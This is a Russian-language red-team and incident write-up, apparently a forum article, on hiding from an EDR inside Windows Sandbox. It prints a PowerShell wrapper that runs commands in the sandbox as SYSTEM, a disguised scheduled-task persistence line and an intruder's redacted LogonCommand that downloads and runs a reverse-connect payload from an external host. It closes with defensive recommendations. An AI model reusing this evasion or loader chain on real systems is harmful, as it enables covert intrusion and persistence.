На проверке Песочница, в которой прятался враг

Песочница, в которой прятался враг

В рамках проведения внутреннего аудита информационной безопасности (Red Team) перед нами стояла задача проверить АИС. Обычно на таких проектах ты заранее знаешь, что увидишь. что заказчик выполнил требования Приказа № 117: процессы задокументированы, матрица зрелости заполнена, отчёты уходят в ФСТЭК, CMDB ведёт учёт, SOC дежурит, EDR стоит на каждой машине.

Получив первоначальный доступ под локальной учёткой, мы оказались перед очевидным ограничением: на хосте - Windows 11 и работающий EDR. Любой готовый инструмент или «классический» payload почти сразу улетит в алерт. Вектор не пришлось выбирать - он сложился из доступных легитимных возможностей. Особенность заключалась в том, что мы не пытались выбраться из песочницы (техника T1497 Virtualization/Sandbox Evasion), а наоборот зашли внутрь нее, чтобы спрятаться от средств зашиты хоста.

Формально - полный комплект. АИС, подпадающая под требования Приказа № 117, располагала развёрнутым EDR на конечных точках, функционирующим SOC с дежурными аналитиками, CMDB, в которой учитывались серверы и рабочие станции, и набором регламентов.

То есть перед нами была не «голая» инфраструктура, где защиты нет в принципе, а система, в которую вложили время и деньги, много денег.

Windows Sandbox - лёгкая одноразовая ВМ на базе того же гипервизора, что и Hyper-V, Она встроенна в Windows 10 начиная с версии 1903 и Windows 11 в редакциях Pro и Enterprise без установки дополнительного ПО. Для сложившейся ситуации - Windows 11 + EDR - это была почти идеальная площадка.

• Доверенный бинарник. Запуск wsb.exe - легитимная активность ОС, подписанный компонент Microsoft. Большинство EDR не относят его к подозрительным по умолчанию.

• Отдельный «песочный» контекст исполнения. Внутри сессии поднимается изолированная копия Windows без установленных на хосте агентов защиты.

• Управление через wsb.exe. Консольный интерфейс позволяет управлять сессией и обмениваться данными через общую папку в фоновом режиме.

• Легальность самого факта запуска. Событие «пользователь запустил встроенную песочницу Windows» само по себе не инцидент - это штатная функция ОС для тестирования ПО

Инверсия T1497

Обычно вредоносное ПО пытается обнаружить, что оно работает в виртуальной среде, и покинуть её. Мы же поступили наоборот: зная, что хостовый EDR не видит процессы внутри гостевой ОС, мы сознательно вошли в песочницу, чтобы действовать оттуда. Это меняет модель угрозы: виртуализация перестаёт быть средством анализа вредоносов и становится укрытием для атакующего.

Разворачивание WSB: как мы готовили плацдарм

Хост - Windows 11, на ней установлен и настроен EDR, любые готовые payloads, offsec-тулзы и шумные бинарники с большой вероятностью вызовут алерт. Нам нужен был способ запустить инструменты, не задевая хостовых агентов.

Включение компонента через PowerShell

Enable-WindowsOptionalFeature -FeatureName "Containers-DisposableClientVM" -All -Online

Требуется перезагрузка.

Конфигурационный файл .wsb

Пример нашего файла для разового запуска:

Код:
<!-- session.wsb — конфигурация изолированной сессии -->

<Configuration>

 <Networking>Enable</Networking>

 <MappedFolders>

 <MappedFolder>

 <HostFolder>C:\ProgramData\wsbshare</HostFolder>

 <SandboxFolder>C:\wsbshare</SandboxFolder>

 <ReadOnly>false</ReadOnly>

 </MappedFolder>

 </MappedFolders>

</Configuration>
Общая папка C:\ProgramData\wsbshare - канал обмена между хостом и песочницей. Файлы, положенные в неё с хоста, появляются внутри сессии по пути C:\wsbshare, и наоборот.

Самописная обёртка для управления

Поскольку стандартный wsb.exe не поддердивает захвата stdout внутри SandBox и передачу в хостовую машину, написали PowerShell-скрипт-обертку, которая :

• проверяет существование песочницы;

• монтирует общую папку;

• записывает команду в .cmd-файл;

• запускает её внутри сессии;

• ожидает появления файла с результатом и маркером DONE.


Код:
param(
    [Parameter(Mandatory)][string]$Id,
    [Parameter(Mandatory)][string]$Command,
    [ValidateSet("System","ExistingLogin")][string]$RunAs = "System",
    [int]$TimeoutSec = 30
)
$hostShareRoot   = "C:\SandboxShare\$Id"
$sandboxShareDir = "C:\SandboxShare"
$listRaw = wsb list 2>$null
if (-not $listRaw) {
    Write-Error "Failed to get sandbox list (wsb list). Verify that the sandbox is running."
    return
}
$found = $false
try {
    $sessions = $listRaw | ConvertFrom-Json
    $match = $sessions | Where-Object { $_.id -eq $Id -or $_.Id -eq $Id }
    if ($match) { $found = $true }
}
catch {
    # Not JSON, parse as text (each line is an ID)
    $ids = $listRaw -split "`r`n" | Where-Object { $_.Trim() -ne "" }
    foreach ($id in $ids) {
        if ($id.Trim() -eq $Id) {
            $found = $true
            break
        }
    }
}
if (-not $found) {
    Write-Error "Sandbox with Id '$Id' not found in 'wsb list'. Create it separately first."
    Write-Host "Current sandbox list:" -ForegroundColor Yellow
    Write-Host $listRaw -ForegroundColor Yellow
    return
}
New-Item -ItemType Directory -Path $hostShareRoot -Force | Out-Null
$shareResult = wsb share --id $Id -f $hostShareRoot -s $sandboxShareDir --allow-write 2>&1
$marker  = [guid]::NewGuid().ToString("N").Substring(0,10)
$cmdFile = Join-Path $hostShareRoot "$marker.cmd"
$outFile = Join-Path $hostShareRoot "$marker.out"

@"
$Command > "$sandboxShareDir\$marker.out" 2>&1
echo DONE>> "$sandboxShareDir\$marker.out"
"@ | Set-Content -Path $cmdFile -Encoding ASCII

$sandboxCmdPath = "$sandboxShareDir\$marker.cmd"
Write-Host "Executing command in sandbox..." -ForegroundColor Cyan
wsb exec --id $Id -c $sandboxCmdPath -r $RunAs | Out-Null
$elapsed = 0
$done = $false
while ($elapsed -lt $TimeoutSec) {
    Start-Sleep -Milliseconds 700
    $elapsed += 0.7
    if (Test-Path $outFile) {
        $content = Get-Content $outFile -Raw -ErrorAction SilentlyContinue
        if ($content -and $content.TrimEnd().EndsWith("DONE")) {
            $done = $true
            break
        }
    }
}
if (-not $done) {
    Write-Warning "Timeout ($TimeoutSec sec) - command did not complete or sandbox is unavailable."
    return
}
$result = (Get-Content $outFile -Raw) -replace 'DONE\s*$', ''
$result.Trim()
Remove-Item $cmdFile, $outFile -ErrorAction SilentlyContinue

Пример использования:

.\Sandboxexec.ps1 -Id "XXXXXXX-7c90-4e36-8eca-XXXXX" -Command "whoami"

#Executing command in sandbox...

#nt authority\system

Казалось бы, идеальный плацдарм готов. Но именно на этом шаге всё пошло не по плану.

«Мы здесь не одни»: момент, когда аудит перестал быть аудитом.

При попытке подготовить окружение мы обнаружили, что Windows Sandbox уже включён, существует структура шаринга, лежит готовый конфигурационный .wsb файл, а в Task Scheduler присутствует подозрительная запланированная задача.

По правилам взаимодействия с заказчиком любые признаки активности, не относящейся к согласованному сценарию тестирования, требуют немедленной остановки активных действий и эскалации. Мы так и поступили: заморозили собственную часть работ, чтобы не затоптать улики, уведомили ответственных за реагирование на стороне заказчика и перевели проект в режим compromise assessment - установления глубины и давности присутствия постороннего актора в инфраструктуре.

Техника закрепления: Windows Sandbox как постоянная точка присутствия

В отличие от нашего плана - развернуть песочницу разово, выполнить задачи и свернуть сессию - обнаруженный актор использовал WSB именно как механизм закрепления (persistence), а не разового инструмента. Ключевой элемент - запланированная задача, которая периодически поднимала сессию Windows Sandbox.

Реконструкция по артефактам Task Scheduler:

schtasks /create /tn "WindowsUpdateHelper" /sc onlogon `

/ru "ALT_SVC_ACCOUNT" /rl highest `

/tr "wsb.exe run --config C:\XXX\XXX\session.wsb"

Благодаря этому окно песочницы никогда не появлялось на экране залогиненного пользователя, а сама сессия переживала перезагрузки и плановые проверки службой ИБ.

Загрузка payload через конфигурацию WSB

Разбор найденного.wsb-файла показал, что параметрLogonCommandбыл настроен не на локальный скрипт, а на команду, которая внутри сессии скачивала архив с внешнего ресурса, распаковывала его и запускала исполняемый файл. Пример того, что мы увидели (отредактировано):

<LogonCommand>

<Command>powershell.exe -WindowStyle Hidden -Command "iwr -Uri hxxps://XXXX-cdn[.]com/YYYYY[.]zip -OutFile $env:TEMP\svc.zip; Expand-Archive $env:TEMP\svc.zip -DestinationPath $env:TEMP\svc; Start-Process $env:TEMP\svc\helper.exe"</Command>

</LogonCommand>

Содержимое архива - скомпилированный бинарник, устанавливающий обратное соединение (reverse connect) с внешним C2-сервером.

Схема атаки:

[Хост] → Task Scheduler → wsb.exe → WSB-сессия (isolated)



LogonCommand: PowerShell



Invoke-WebRequest → скачивание архива



Распаковка → запуск исполняемого файла



Reverse connect → внешний C2-сервер

Весь процесс происходил внутри изолированной сессии. Хостовый EDR не видел ни скачивания, ни запуска, ни сетевого соединения - потому что для агента внутри WSB процессов не существовало. C2-трафик маскировался под сетевую активность процесса виртуализации.

Атрибуция: пересечение с тактикой APT10/MirrorFace

Ровно такую же логику закрепления в январе 2025 года описали японские Национальное полицейское агентство (NPA) и Национальный центр готовности к инцидентам (NISC) в бюллетене о кампании группировкиMirrorFace— подразделения, которое исследователи ESET, Kaspersky, Trend Micro и Cybereason связывают с китайским кластером APT10.

По данным ESET, атакующие размещали на скомпрометированном хосте батник-файл, архиватор (например, 7-Zip) и заранее подготовленный архив с кастомизированной версией AsyncRAT, а затем запускали эту цепочку внутри сессии Windows Sandbox — чтобы скрыть вредоносную активность от средств защиты на хосте. В параллельных кампаниях та же группа злоупотребляла легитимными remote-tunnel-функциями Visual Studio Code — тем же принципом «бери то, что уже стоит у жертвы, и не приноси ничего лишнего».

Мы нашли прямые доказательства активности актора, включая артефакты эксфильтрации через легитимные облачные сервисы.

Почему это осталось незамеченным - и почему это системная проблема

Формально требования Приказа № 117 (как и большинства аналогичных регуляторных документов) обязывают иметь СЗИ класса EDR и работающий SOC, но не детализируют глубину настройки этих средств. В результате типичная картина выглядит так.

• EDR разворачивается с политиками «по умолчанию» без тюнинга под инфраструктуру заказчика.

• Виртуализационные и контейнерные подсистемы (Hyper-V, WSB, WSL, Windows Containers) явно не включены в периметр мониторинга и не учтены в CMDB как активы, требующие контроля.

• SOC работает по правилам «из коробки» (vendor default rules), ориентированным на распространённые техники, но не покрывает абьюз легитимных компонентов ОС.

Это не «дыра в EDR» - это дыра в процессе настройки и эксплуатации EDR/SOC, которой в равной степени пользуются и пентестеры, демонстрирующие риск, и реальные группировки, реализующие его. Разница лишь в том, что мы после этого написали отчёт и статью, а группировка - нет.

Рекомендации по противодействию

• Явно решить на уровне организационной политики, нужен ли Windows Sandbox бизнесу; если нет - отключить компонент через GPO.

• Если WSB нужен - ограничить его использование конкретными группами через AppLocker/WDAC с обязательным логированием запуска.

• Отдельно контролировать задачи Task Scheduler, запускающие процессы под альтернативными учётными записями с последующим обращением к WSB/Hyper-V - это редкая, но крайне показательная комбинация.

• Учитывать в CMDB все хосты с включённым компонентом Containers-DisposableClientVm - это актив, требующий контроля.

• Провести полноценный тюнинг политик EDR: контроль LOLBins, Script Block Logging, контроль сетевых соединений по контексту процесса, а не только по репутации домена.

• Замкнуть цикл: настройка EDR → верификация через purple team → корректировка → повтор.

• Рассматривать требования Приказа №117 не как чек-лист «СЗИ есть», а как процесс непрерывной верификации детектирующей способности; зрелость настройки остаётся зоной ответственности организации.

Заключение

Мы заходили на этот проект, чтобы провести аудит и продемонстрировать риски: штатный компонент Windows может стать плацдармом, невидимым для EDR и SOC. Риски подтвердились, но не так, как мы планировали. Вместо демонстрации гипотетической атаки мы обнаружили, что уже реализован практически идентичный сценарий, причём с элементами закрепления, которые почти дословно совпадают с задокументированной в 2025 году кампанией APT10/MirrorFace.

Вывод простой и одновременно неудобный: наличие СЗИ снижает риск только тогда, когда оно настроено под реальную модель угроз конкретной инфраструктуры, а не работает на дефолтных политиках вендора. Приказ № 117 — это база, а не потолок зрелости защиты, и иногда разница между «мы прошли аудит» и «у нас в сети APT» — это одна и та же нетронутая настройка мониторинга.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab